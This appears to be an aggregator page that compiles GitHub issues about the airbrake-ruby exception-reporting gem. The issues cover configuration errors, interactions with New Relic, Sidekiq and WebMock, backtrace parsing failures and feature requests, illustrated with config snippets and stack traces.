                        block in sync at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282
                          synchronize at org/jruby/ext/thread/Mutex.java:148
                                 sync at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:282
                              acquire at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:150
                                 hold at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/connection_pool/threaded.rb:106
                          synchronize at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/database/connecting.rb:285
                       server_version at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:508
                       server_version at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/adapters/shared/postgres.rb:1793
                           select_sql at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/sql.rb:233
                                 each at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:149
                                  map at org/jruby/RubyEnumerable.java:830
                                  map at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/sequel-4.44.0/lib/sequel/dataset/actions.rb:455
                      get_checkpoints at /Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:147
                              send_to at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43
                            call_with at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79
             block in get_checkpoints at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138
           get_sites_with_checkpoints at /Users/pavi/dev/sdp-streams/lib/sources/bay_event_forwarder.rb:162
                              send_to at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_reference.rb:43
                            call_with at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/call_with.rb:79
  block in get_sites_with_checkpoints at /Users/pavi/.rbenv/versions/jruby-9.1.7.0/lib/ruby/gems/shared/gems/contracts-0.15.0/lib/contracts/method_handler.rb:138
                               start! at bin/sources/bay_event_forwarder.rb:24
                               <main> at bin/sources/bay_event_forwarder.rb:54

support return values in async mode

it would be great to get back a url even in async mode, could be done by for example generating a UUID on the client and sending that to the server ... then the client can ask for that UUID later and get the response if any ... this would allow bringing back the user-informer ... and allow linking airbrakes to errors seen in the logs

Support deep keys

rails filter_parameters allows foo.bar meaning foo[bar]
which is not compatible with airbrakes blacklist filter
so please either:

  • support it (might be tricky, but a useful filter)
  • change airbrake rails docs to point this out

the 'default' notifier was already configured (Airbrake::Error)

Hey,

I'm new to airbrake. This is my config code:

Airbrake.configure do |config|
  config.project_key = 'xxxxxxx'
  config.project_id = xxxxxx
  config.ignore_environments = %w(development test)
end

Not sure how to fix this 'default' notifier was already configured error. Any advice would be appreciated.

Airbrake-ruby doesn't report error if newrelic_rpm is installed

  • Airbrake version: 5.0.2
  • Airbrake-ruby version: 1.0.2
  • Ruby version: 2.3.0
  • Framework name & version: Rails 4.2.5

Airbrake config

config/initializers/airbrake.rb

# Airbrake is an online tool that provides robust exception tracking in your Rails
# applications. In doing so, it allows you to easily review errors, tie an error
# to an individual piece of code, and trace the cause back to recent
# changes. Airbrake enables for easy categorization, searching, and prioritization
# of exceptions so that when errors occur, your team can quickly determine the
# root cause.
#
# Configuration details:
# https://github.com/airbrake/airbrake-ruby#configuration
Airbrake.configure do |c|
  # You must set both project_id & project_key. To find your project_id and
  # project_key navigate to your project's General Settings and copy the values
  # from the right sidebar.
  # https://github.com/airbrake/airbrake-ruby#project_id--project_key
  c.project_id = ENV['AIRBRAKE_PROJECT_ID']
  c.project_key = ENV['AIRBRAKE_API_KEY']

  # Configures the root directory of your project. Expects a String or a
  # Pathname, which represents the path to your project. Providing this option
  # helps us to filter out repetitive data from backtrace frames and link to
  # GitHub files from our dashboard.
  # https://github.com/airbrake/airbrake-ruby#root_directory
  c.root_directory = Rails.root

  # By default, Airbrake Ruby outputs to STDOUT. In Rails apps it makes sense to
  # use the Rails' logger.
  # https://github.com/airbrake/airbrake-ruby#logger
  c.logger = Rails.logger

  # Configures the environment the application is running in. Helps the Airbrake
  # dashboard to distinguish between exceptions occurring in different
  # environments. By default, it's not set.
  # https://github.com/airbrake/airbrake-ruby#environment
  c.environment = Rails.env

  # Setting this option allows Airbrake to filter exceptions occurring in
  # unwanted environments such as :test. By default, it is equal to an empty
  # Array, which means Airbrake Ruby sends exceptions occurring in all
  # environments.
  # https://github.com/airbrake/airbrake-ruby#ignore_environments
  c.ignore_environments = %w(test)
end if defined?(Airbrake)

# If Airbrake doesn't send any expected exceptions, we suggest to uncomment the
# line below. It might simplify debugging of background Airbrake workers, which
# can silently die.
# Thread.abort_on_exception = ['test', 'development'].include?(Rails.env)

Description

Following command raise exception, but Airbrake doesn't report about it:

$ heroku run rails r 'raise'

It happens if we installed newrelic_rpm.

I think $ERROR_INFO changed to nil in newrelic's at_exit hook.

If we rescued some exceptions on at_exit hook, $ERROR_INFO ($!) is changed to nil.

$ ruby -e 'at_exit { p $! }; raise'  
# RuntimeError
$ ruby -e 'at_exit { p $! }; at_exit { raise rescue nil }; raise'        
# nil

So I think we shouldn't use at_exit hook to report unhandled errors.

Workaround

We can disable newrelic's at_exit hook on our newrelic.yml:

production:
  <<: *default_settings
  send_data_on_exit: false

Airbrake.notify doesn't accept a string as a param

Documentation states that I can just pass a string as a param to Airbrake.notify but when I do I get an empty Notification in Airbrake (it has no message, etc).

Should be updated to correctly state that a hash should be passed with i.e. error_message: 'App crashed!'

Requires application to have ActiveRecord enabled

If you have active record disabled:

# Toward the top of application.rb
require 'rails'
# Pick the frameworks you want:
# require 'active_model/railtie'
# require 'active_job/railtie'
# require 'active_record/railtie'
require 'action_controller/railtie'
# require 'action_mailer/railtie'
require 'action_view/railtie'
require 'sprockets/railtie'
require 'rails/test_unit/railtie'

You get the following error when you start the server:

uninitialized constant Airbrake::Rails::Railtie::ActiveRecord (NameError)

This points at line 26 of railtie.rb, which looks like:

app.config.middleware.insert_after(
  ActiveRecord::ConnectionAdapters::ConnectionManagement,
  'Airbrake::Rack::Middleware'
)

I'm using Airbrake-Ruby 1.4.4.

Thanks!

airbrake-ruby 1.7.0 breaks Webmock

  • Airbrake version: upgraded from 1.6.0 to 1.7.0
  • Ruby version: 2.3.3
  • Framework name & version: Rails 4.2.7.1

Airbrake config

AIRBRAKE_IGNORED_USER_AGENTS = /Spider/

# Airbrake is an online tool that provides robust exception tracking in your Rails
# applications. In doing so, it allows you to easily review errors, tie an error
# to an individual piece of code, and trace the cause back to recent
# changes. Airbrake enables for easy categorization, searching, and prioritization
# of exceptions so that when errors occur, your team can quickly determine the
# root cause.
#
# Configuration details:
# https://github.com/airbrake/airbrake-ruby#configuration
Airbrake.configure do |c|
  # You must set both project_id & project_key. To find your project_id and
  # project_key navigate to your project's General Settings and copy the values
  # from the right sidebar.
  # https://github.com/airbrake/airbrake-ruby#project_id--project_key
  c.project_id = ENV['AIRBRAKE_PROJECT_ID']
  c.project_key = ENV['AIRBRAKE_API_KEY']

  # Configures the root directory of your project. Expects a String or a
  # Pathname, which represents the path to your project. Providing this option
  # helps us to filter out repetitive data from backtrace frames and link to
  # GitHub files from our dashboard.
  # https://github.com/airbrake/airbrake-ruby#root_directory
  c.root_directory = Rails.root

  # By default, Airbrake Ruby outputs to STDOUT. In Rails apps it makes sense to
  # use the Rails' logger.
  # https://github.com/airbrake/airbrake-ruby#logger
  c.logger = Rails.logger

  # Configures the environment the application is running in. Helps the Airbrake
  # dashboard to distinguish between exceptions occurring in different
  # environments. By default, it's not set.
  # NOTE: This option must be set in order to make the 'ignore_environments'
  # option work.
  # https://github.com/airbrake/airbrake-ruby#environment
  c.environment = Rails.env

  # Setting this option allows Airbrake to filter exceptions occurring in
  # unwanted environments such as :test. By default, it is equal to an empty
  # Array, which means Airbrake Ruby sends exceptions occurring in all
  # environments.
  # NOTE: This option *does not* work if you don't set the 'environment' option.
  # https://github.com/airbrake/airbrake-ruby#ignore_environments
  c.ignore_environments = %w(test development)
end

# If Airbrake doesn't send any expected exceptions, we suggest to uncomment the
# line below. It might simplify debugging of background Airbrake workers, which
# can silently die.
# Thread.abort_on_exception = ['test', 'development'].include?(Rails.env)

Airbrake.add_filter do |notice|
  notice.ignore! if notice[:context][:userAgent] && notice[:context][:userAgent].match(AIRBRAKE_IGNORED_USER_AGENTS)
end

Description

I tried to upgrade from Airbrake 5.6.1 to 5.7.0 and it broke Webmock. I pinpointed the problem to airbrake-ruby (airbrake 5.7.0 works with airbrake-ruby 1.6.0 pinned).

-    airbrake (5.6.1)
-      airbrake-ruby (~> 1.6)
-    airbrake-ruby (1.6.0)
+    airbrake (5.7.0)
+      airbrake-ruby (~> 1.7)
+    airbrake-ruby (1.7.0)

Webmock stopped working in our test suite, it calls real endpoints:

Failed to open TCP connection to localhost:1234 (Connection refused - connect(2) for "localhost" port 1234. I went through commits between 1.6.0 and 1.7.0 and couldn't find where the problem could be.

"Airbrake::Error: the 'default' notifier isn't configured" thrown after unsuccessful specs

  • Airbrake version: 5.0.2
  • Airbrake-ruby version: 1.0.2
  • Ruby version: 2.2.3
  • Framework name & version: Rails 4.2.5

Airbrake config

Airbrake.configure do |config|
  config.project_id = 'foo'
  config.project_key = 'bar'

  config.environment = Rails.env
  config.ignore_environments = %w(development test)
end

Description

I am getting an error when using rake tasks, specifically: Airbrake::Error: the 'default' notifier isn't configured

This happens when RSpec's rake task exits because of a failing spec. This does not happen when specs succeed.

I'm using the latest version (1.0.2) and I'm not quite sure why #14 does not apply in this case, as it seems to be SystemExit as well.

I removed some irrelevant output from RSpec, but the output I get is this:

$ RAILS_ENV=test rake spec

--Snip--

Finished in 4.02 seconds (files took 2.22 seconds to load)
97 examples, 1 failure

Failed examples:

--Snip--

Randomized with seed 50266

/Users/rafaelgonzalez/.rvm/rubies/ruby-2.2.3/bin/ruby -I/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib:/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-support-3.4.1/lib /Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/exe/rspec --pattern spec/\*\*\{,/\*/\*\*\}/\*_spec.rb failed
rake aborted!
Airbrake::Error: the 'default' notifier isn't configured
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.2/lib/airbrake-ruby.rb:282:in `call_notifier'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-ruby-1.0.2/lib/airbrake-ruby.rb:236:in `build_notice'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-5.0.2/lib/airbrake/rake/task_ext.rb:21:in `rescue in execute'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-5.0.2/lib/airbrake/rake/task_ext.rb:19:in `execute'
SystemExit: exit
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:84:in `exit'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:84:in `run_task'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:96:in `block (2 levels) in define'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/rspec-core-3.4.1/lib/rspec/core/rake_task.rb:94:in `block in define'
/Users/rafaelgonzalez/.rvm/gems/ruby-2.2.3/gems/airbrake-5.0.2/lib/airbrake/rake/task_ext.rb:19:in `execute'
Tasks: TOP => spec
(See full trace by running task with --trace)

Adding the Airbrake config to spec_helper.rb does not work. I get the same error there, which exists the specs prematurely, then giving me the error a second time after the rake task has exited.

  • rake spec does not output anything for me when not specifying the environment, that is, it does not run the specs at all, and exits without doing anything. (I suspect this is because RSpec is under the :test group in my Gemfile)
  • bundle exec rspec does not trigger the error when specs fail.
  • bundle exec rake (which runs the specs) does trigger the error when specs fail (this is how I came across this issue in the first place)

Discussion on this issue initially started on #13, but I created an new issue as per @kyrylo's request.

Unnecessary airbrake error when running unknown rake task

  • Airbrake version: 5.0.1
  • Ruby version: 2.2.3
  • Framework name & version: Rails 4.2.5

Airbrake config

  Airbrake.configure do |config|
    config.project_id = <project_id>
    config.project_key = <project_key>
    config.host = <host>
    config.ignore_environments = [:test]
  end

Description

I checked that my config is OK by running rake airbrake:test, it runs successfully.

But when I run a rake task that does not exist I am getting the following output:

$ bin/rake kokoko:dskfkl
rake aborted!
Don't know how to build task 'kokoko:dskfkl'

(See full trace by running task with --trace)
/Users/vkhustochka/.rvm/gems/ruby-2.2.3@quails/gems/airbrake-ruby-1.0.1/lib/airbrake-ruby.rb:282:in `call_notifier': the 'default' notifier isn't configured (Airbrake::Error)
    from /Users/vkhustochka/.rvm/gems/ruby-2.2.3@quails/gems/airbrake-ruby-1.0.1/lib/airbrake-ruby.rb:149:in `notify_sync'
    from /Users/vkhustochka/.rvm/gems/ruby-2.2.3@quails/gems/airbrake-ruby-1.0.1/lib/airbrake-ruby.rb:291:in `block in <top (required)>'

I think the issue is that in this case airbrake is loaded (through bundler) but initializers are not loaded, so Airbrake config is not loaded.

Can't reach a host with a subpath

Awesome tool!,
Trying to explore the concept of error catching with Airbrake client and with Errbit; Tried succesfuly in local environment with multiple applications and porting on localhost but when i try to deploy on a VPS with separate application with subpaths i can't get the Airbrake-ruby (or Airbrake 5 gem) to reach a subpath using the host attribute in the configuration.

https://github.com/airbrake/airbrake-ruby#host

config.host = 'http://my-website.com/errbit'

But if i move my errbit alias to / i get it working perfectly.
Currently when i do rake airbrake:test it throws a 404 error.

So far i've followed the code up to the endpoint method which calls the host attribute, but i am not sure why it won't work while using host + subpath as the entire host

https://github.com/airbrake/airbrake-ruby/blob/master/lib/airbrake-ruby/config.rb#L102

Any ideas on how to proceed?
Thank you!

Edit: Uh oh, should i've posted this on airbrake instead of airbrake-ruby

Edit 2: Aha!, Ok, see how interesting. At the end of that endpoint method the class makes a call to URI.join, and just figured the following behaviour:

2.3.1 :003 > URI.join('http://localhost/monitoring/','/api/etc')
=> #<URI::HTTP http://localhost/api/etc>

Note that it trashes away the subpath of the first parameter of the .join method, like only accepting the protocol and the domain (and the port). A solution to my problem would be to keep using my errbit under a port :(, or even better understand how the URI class works, but as the endpoint method is implemented i see that i have no other option than rewriting this method.

i wonder how can i extend it?

Airbrake::Error: the 'default' notifier isn't configured" thrown when an error occurs in a sidekiq job while running tests

We have some Sidekiq jobs in a Rails project and this is the error message we see when an error occurs INSIDE a job during testing. Errors inside of the spec itself work correctly.

# my_job.rb
class MyJob < ActiveJob::Base
  queue_as :default
  def perform(id)
    1 / 0
  end
end
# spec/support/sidekiq.rb
require 'sidekiq/testing'
Sidekiq::Logging.logger = nil
Sidekiq::Testing.inline!
# spec/my_job_spec.rb
RSpec.describe MyJob do
  it 'fails as expected' do
    1 / 0 #=> RSpec displays ZeroDivisionError
  end

  it 'does not fail as expected' do
    MyJob.perform_later 1 #=> Airbrake::Error (the real error is completely hidden)
  end
end

undefined method `sub!' for nil:NilClass

  • Airbrake version: 1.4.6
  • Ruby version: JRuby 9.1.5.0
  • Framework name & version: N/A

Airbrake config

Only project id, project key, and environment.

Description

I’ve got this exception + back trace being written out to my log file:

org.jruby.exceptions.RaiseException: (ReadTimeout) Net::ReadTimeout
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.rbuf_fill(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:158)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.protocol.read(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/protocol.rb:104)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.block in read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:290)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.inflater(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:275)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body_0(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:280)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.read_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:201)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:226)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.response.reading_body(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http/response.rb:163)
    at uri_3a_classloader_3a_.gems.aws_minus_sdk_minus_core_minus_2_dot_5_dot_6.lib.seahorse.client.net_http.patches.new_transport_request(uri:classloader:/gems/aws-sdk-core-2.5.6/lib/seahorse/client/net_http/patches.rb:37)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1397)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.block in request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1390)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.start(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:857)
    at uri_3a_classloader_3a_.META_minus_INF.jruby_dot_home.lib.ruby.stdlib.net.http.request(uri:classloader:/META-INF/jruby.home/lib/ruby/stdlib/net/http.rb:1388)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.request.perform(uri:classloader:/gems/httparty-0.14.0/lib/httparty/request.rb:118)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.perform_request(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:560)
    at uri_3a_classloader_3a_.gems.httparty_minus_0_dot_14_dot_0.lib.httparty.get(uri:classloader:/gems/httparty-0.14.0/lib/httparty.rb:486)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.perform(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:110)
    at uri_3a_classloader_3a_.gems.park_server_minus_1_dot_5_dot_1.lib.park_server.client.get(uri:classloader:/gems/park_server-1.5.1/lib/park_server/client.rb:55)
    at uri_3a_classloader_3a_.lib.processors.image_upload.fetch_image(uri:classloader:/lib/processors/image_upload.rb:93)
    at uri_3a_classloader_3a_.lib.processors.image_upload.process!(uri:classloader:/lib/processors/image_upload.rb:157)
    at bin.processors.image_uploader.block in make_streams(bin/processors/image_uploader.rb:21)

And I’m passing that exception to Airbrake.notify_sync and it’s raising an exception with this message:

undefined method `sub!' for nil:NilClass

just FYI, I also have a megaton of “can’t parse” error messages in my logs, as I reported in #116 — so I might be getting some of the info in the logs mixed up. (I really need to switch to structured logging.)

Airbrake throws away information for incompatible backtraces

Hi,

This pull request (from what i gather) introduces a new method of parsing backtraces:

#4

However it errors out early when it fails to parse, throwing away the rest of the backtrace:

raise Airbrake::Error, "can't parse '#{stackframe}'"

In my case an Oracle stored procedure call might fail, their errors are incompatible with your parser, but instead of printing the whole thing, only the last item is returned:

Airbrake::Error (can't parse 'stmt.c:243:in oci8lib_220.so')

Example of the full "backtrace"/error message:

OCIError: ORA-02291: integrity constraint (STORE.SN_PACE_REGISTRATIONS_FK01) violated - parent key not found
ORA-06512: at "STORE.LI_LICENSES_PACK", line 1945
ORA-06512: at "ACTIVATION.LI_ACT_LICENSES_PACK", line 101
ORA-06512: at line 2
from stmt.c:243:in oci8lib_220.bundle

Downgrading to 4.3.8 resolves the problem for me giving me:

ORA-02291: integrity constraint (STORE.SN_PACE_REGISTRATIONS_FK01) violated - parent key not found ORA-06512: at "STORE.LI_LICENSES_PACK", line 1945 ORA-06512: at "ACTIVATION.LI_ACT_LICENSES_PACK", line 101 ORA-06512: at line 2

Note: This not only breaks airbrake integration, but hides error messages in both development mode webview and log files.

  • Airbrake version: 5.4.0
  • Ruby version: ruby 2.2.4p230 (2015-12-16 revision 53155) [x86_64-darwin15]
  • Framework name & version: rails (4.2.6), ruby-oci8 (2.2.2), ruby-plsql (0.6.0)

Airbrake being run on test and development environments

Hey,

My team is experiencing a problem with the new version of Airbrake. We are receiving error messages from our development and test environments even though we have
config.ignore_environments = %w(development test)
in our config block.

Please advise what we may have done wrong :).

Richard

Global context via config ?

I want to send a few pieces of context on every request, something like:

Airbrake.configure do |config|
  config.context = ['HOST_IP', 'POD_NAME', 'POD_NAMESPACE', 'REVISION', 'TAG'].
    map { |k| [k.downcase, ENV[k]] }.to_h
end

Airbrake.notify("kaboom") # correct context

I can trivially get this by writing a wrapper method, but might be a nice feature to simplify setup

Adding to the 'params' area of airbrake.io when Airbrake.notify not explicitly called

airbrake (5.3.0), airbrake-ruby (1.4.2), ruby 2.2.3p173

Passing custom params is straightforward when explicitly notifying Airbrake:Airbrake.notify("Temp is too high", params: { max_temp: 300 }

How can extra params be passed when Airbrake is notified implicitly e.g. from a failed request or failed job in Sidekiq / ActiveJob?


I gather from airbrake/airbrake#528 that this might be possible using the add_filter API but I don't think notice exposes the exception object itself.

(Looking here -

- we only get the class name, message and backtrace of exceptions. No way to access arbitrary attributes on the exception.)

e.g.

  class Error < StandardError
    attr_reader :params

    def initialize(params = {})
      @params = params
    end
  end

  # if it were possible to expose the exception object on `notice`:
  class AddCustomParamsFilter
    def call(notice)
      notice[:errors].each do |error|
        notice[:params].merge!(error[:type] => error[:exception].params)
      end
    end
  end

Stepping back a bit - what I'd like to do is define exception classes with custom attributes and have those attributes pass over to Airbrake. At the moment I'm including all the required information in the #message, which is messy and prevents the UI from deduping the errors properly.

Configuration setting for unhandled exceptions

Hey!

Currently airbrake-ruby notifies about unhandled errors, if they cause process exit, and there is no way to prevent airbrake from doing that. What if we add a config property, that will allow to turn off notifying on such exceptions?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.